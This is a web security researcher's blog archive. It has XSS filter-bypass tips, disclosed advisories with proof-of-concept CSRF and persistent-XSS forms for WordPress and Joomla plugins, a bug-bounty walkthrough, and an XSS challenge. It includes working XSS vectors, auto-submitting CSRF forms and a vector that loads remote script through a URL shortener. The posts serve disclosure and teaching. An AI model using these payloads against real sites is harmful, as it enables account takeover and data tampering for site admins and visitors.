David Sopas – Web Security Researcher


11/01/17 Tips and Tricks # , , , ,

Meter HTML5 XSS filter bypass

I was playing around with some new HTML5 features and noticed a funny one.

Meter gives you a cool progress bar on-the-fly – https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter

Immediately I thought about using it to bypass some WRONG blacklist tags XSS filter and add a event to it:

<meter onmouseover="alert(1)"

You can check it on https://jsfiddle.net/btksfbbx/

Nowadays this doesn’t make any advantage to a researcher because you can use arbitrary tags:

<sopas style=font-size:200px onmouseover=alert(1)>Sopas

Online – https://jsfiddle.net/thnwcjcx/

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18/12/15 Advisories # , , , , ,

Multiple vulns on mTouch Quiz WordPress plugin

Multiple vulns on mTouch Quiz WordPress plugin

Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting

mTouch Quiz lets you add quizzes to your site. This plugin was designed with learning, touch friendliness and versatility in mind.

I found multiple vulnerabilities on WordPress plugin – mTouch Quiz <= 3.1.2.

#1 Reflected XSS on Quiz Manage
“quiz” parameter wasn’t properly sanitized therefore you could inject a XSS vector on the URL and get reflected on the screen.



Looking at the end of the page you could see the injected HTML.

Reflected source-code:

<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>

#2 CSRF on General Options
On plugin general options lacked a security token (like wp_nonce) to prevent CSRF attacks.
Take this form from example:

<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST">
<input type="hidden" name="mtq_hidden" value="Y" />
<input type="hidden" name="left_delimiter" value="\(\displaystyle{" />
<input type="hidden" name="right_delimiter" value="}\)" />
<input type="hidden" name="showalerts" value="1" />
<input type="hidden" name="show_support" value="1" />
</form> <script> document.dsopas.submit(); </script>

If a authenticated admin visited this page with this HTML code his settings will be changed.

#3 Add a question using CSRF and get a persistent XSS

This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…

<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST">
<input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' />
<input type="hidden" name="correct_answer[]" value="1" />
<input type="hidden" name="answer[]" value="test1" />
<input type="hidden" name="hint[]" value="hint1" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="answer[]" value="test2" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="hint[]" value="hint2" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="explanation" value="<h1>xss</h1>" />
<input type="hidden" name="point_value" value="100" />
<input type="hidden" name="quiz" value="1" />
<input type="hidden" name="question" value="" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="submit" value="Save" />
</form> <script> document.dsopas.submit(); </script>


#4 Quiz Name XSS

This was a minor issue but if other user level had access to this, he could change the quiz name to a XSS vector and get a persistent XSS.

Vendor in a matter of few weeks launched a patched version – 3.1.3. Also he was kind enough to put my name on the changelog.

Corrected several potential security vulnerabilities. Thanks to David Sopas @dsopas for very kindly pointing them out and suggesting effective solutions.


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14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor 🙂

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09/11/15 Tips and Tricks # , ,

Tiny XSS exploitation

Tiny XSS exploitation

A well-known website had a limit of 32 chars on the user name field that was reflected in the public profile area.
That field allowed XSS exploitation:

d<img src=x onerror=prompt(1)>

Simple right?
But sometimes you need to provide a better vector where the affected company can see more than a prompt with a number. Also they know the limitation of their textfield to 32 chars.

I found two methods using SCRIPT and IFRAME.
When I was tring using this with a tiny URL [is.gd] pointing to my XSS code at davidsopas.com I realized that the vector wasn’t executing.
Why? It required HTTPS.

I searched for a tiny url that provided HTTPS and Google provide me with one – goo.gl.

So my final vector was:

<script src=//goo.gl/TJnzmV>
<iframe src=//goo.gl/xWYG4f>

29 chars and you I could use any Javascript I wanted.
It was fun!

You guys have any other method you like to share?

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16/10/15 Tips and Tricks # , , , , , ,

Get a bounty on a WordPress blog

Get a bounty on a WordPress blog

I would like describe a step-by-step of my latest “appreciation program” reward on a security issue in a WordPress plugin.
First things first – check if the blog is in-scope of the program. If it is, continue to read this article. If not, you can just see my other tips about #bugbounty (here  and here).

I’m a big fan of WPScan. It’s a great Ruby tool to scan a WordPress installation. It uses a black box approach but still a must use in my opinion.
WPScan didn’t find any real security issue on my target but showed me the list of plugins used:

ruby wpscan.rb –url www.target.com –enumerate p

So I picked one by one to search for open vulnerabilities or something interesting on their changelog. Nothing…
I needed to start auditing them.

I picked Events Made Easy plugin  and installed it on my local box. The plugin is quite simple and I noticed that nonce WordPress security token or any other form protection was missing in some places [when auditing the source-code]. Also some of the variables were not sanitized so I could attack it with a CSRF and a Persistent XSS.

I started creating a proof-of-concept based on my findings – check the advisory.
I reported the security issue to the “appreciation program”, vendor and requested a CVE reference.

So my steps were:

  1. WordPress blog is in scope for reward
  2. Scan it with WPScan [don’t forget to enumerate the plugins]
  3. Analyze the results
  4. If scanning got you a vulnerability, report it! If not, download the plugins used, audit the source-code and create a proof-of-concept

Here you have some public bounties I found on Nexmo on their blog – https://cobalt.io/nexmo/reports/17 and https://cobalt.io/nexmo/reports/18

Small tip: Sometimes even a full disclosure can get you a small bounty 🙂 https://cobalt.io/nexmo/reports/15

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15/10/15 Advisories # , , , , ,

Events Made Easy WordPress plugin CSRF + Persistent XSS

Events Made Easy WordPress plugin CSRF + Persistent XSS

Plugin link: https://wordpress.org/plugins/events-made-easy/
Active Installs: 10,000+
Version tested: 1.5.49
CVE Reference: Waiting

Events Made Easy is a full-featured event management solution for WordPress. Events Made Easy supports public, private, draft and recurring events, locations management, RSVP (+ optional approval), Paypal, 2Checkout, FirstData and Google maps. With Events Made Easy you can plan and publish your event, or let people reserve spaces for your weekly meetings. You can add events list, calendars and description to your blog using multiple sidebar widgets or shortcodes; if you are a web designer you can simply employ the template tags provided by Events Made Easy.

When playing around with this plugin I noticed a couple of vulnerabilities. In my opinion they are critical because they can could cause damage to a WordPress installation.
All of them are related to CSRF where the vendor forgot to place a security token (wp_nonce) on the affected forms.

#1 Add template CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-templates

If a authenticated admin clicks on the “Add template” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-templates" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addtemplate" />
<input type="hidden" name="description" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="format" value="csrf" />
<input type="submit" name="submit" value="Add template" />

It will add a Persistent XSS vector on the template description field. This field is automatically executed when the admin visits the page admin.php?page=eme-templates.

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has a auto-submit form with a XSS vector that hijacks victims browser
  3. Victim visits the page and gets hijacked

#2 Add Form Field CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-formfields

If a authenticated admin clicks on the “Add field” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-formfields" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addformfield" />
<input type="hidden" name="field_name" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="field_type" value="1" />
<input type="hidden" name="field_info" value="csrf" />
<input type="hidden" name="field_tags" value="csrf" />
<input type="submit" name="submit" value="Add field" />

Like vulnerability #1 the attack scenario is the same. Same issue affects form fields on this plugin.

#3 Remove events older than CSRF

URL: /wp-admin/admin.php?page=eme-cleanup

With this CSRF a malicious user could delete all the events older than a certain number.
In my proof of concept I used a auto-submit form that could also be used in vulnerabilities #1 and #2.

<form action="https://victims_website/wp-admin/admin.php?page=eme-cleanup" name="dsopas" method="POST">
<input type="hidden" name="page" value="eme-cleanup" />
<input type="hidden" name="eme_admin_action" value="eme_cleanup" />
<input type="hidden" name="eme_number" value="1" />
<input type="hidden" name="eme_period" value="day" />
<input type="hidden" name="doaction" value="Apply" />
</form> <script> document.dsopas.submit(); </script> 

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has this auto-submit form
  3. Without victim noticing, events older than 1 day will be removed.

Vendor in a matter of few hours launched a patched version – 1.5.50. Also he was kind enough to put my name on the changelog.

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30/09/15 Advisories # , , , , , ,

Komento Joomla! component Persistent XSS

Komento Joomla! component Persistent XSS

CVE Reference: CVE-2015-7324

Komento is a Joomla! comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.


I found out that was possible to launch a Persistent XSS attack when adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments – frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS attack it would be automatically affected.
In the other side – the backoffice – when the admin checked the new comment it would be vulnerable to this attack and could get his account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:

[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg” onload=”prompt(1)[/img]

Proof-of-concept using [url]:

[url=”https://www.davidsopas.com” onmouseover=”prompt(1)”]Your text to link[/url]


In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;" onload="var elem=this;if (this==window) elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>



<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a large number of innocent people. A victim just by visiting the page with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 – http://stackideas.com/changelog/komento

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19/08/15 Bug Bounty , Challenge # , , , , ,

Results for the XSS challenge

For the first challenge it was very interesting. It was easy challenge but it’s a start. New challenges will be up soon.

The winners are [they were the first ones to give one solution]:

1º Luciano Corsalini – $50 Amazon gift card


2º Kenan – $25 Amazon gift card


For the bonus prize it wasn’t easy to choose. I decided to give $25 Amazon gift card to the most creative XSS vector.

The winner was Abdulrahman Alqabandi


Also I would like to share another pretty good solution from Ashar Javed:


Congratulations to the winners and to all participants. Thanks for your time and effort.
Winners will be contacted soon by email.


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14/08/15 Challenge # ,

Win $50 Amazon Gift card with a XSS challenge

Win $50 Amazon Gift card with a XSS challenge

I’m a big fan of XSS and to make my new website more visible to the infosec guys I’m offering two Amazon gift cards.
The first correct solution will have a $50 Amazon Gift card. The second one will receive $25 Amazon Gift card.

The rules are simple (like the challenge). Show a alert box in the following vulnerable code with a message containing the word xss.

function go()
var w = location.hash;
w = w.replace(/['", ]+/g, "");
document.getElementById("say").innerHTML = w.substring(0,26);

<div id="say"></div>

<a onclick="go()">Say it</a> 


  • You can’t use some of the chars represented in the w.replace line of code
  • You can only use Chrome, Firefox, Opera, Internet Explorer or Safari latest versions
  • XSS vector must be less or equal to 26 chars long
  • When commenting your entry use the [ code]code[ /code] to write your code (without the leading space)

The challenge will end on 19 august at midnight. All the solutions must be added in this post comments.
All the comments will be inactive until the challenge finishes.

UPDATE: I’ll give a bonus to the user who replies with the most creative XSS.

Good luck! Happy hunting 🙂

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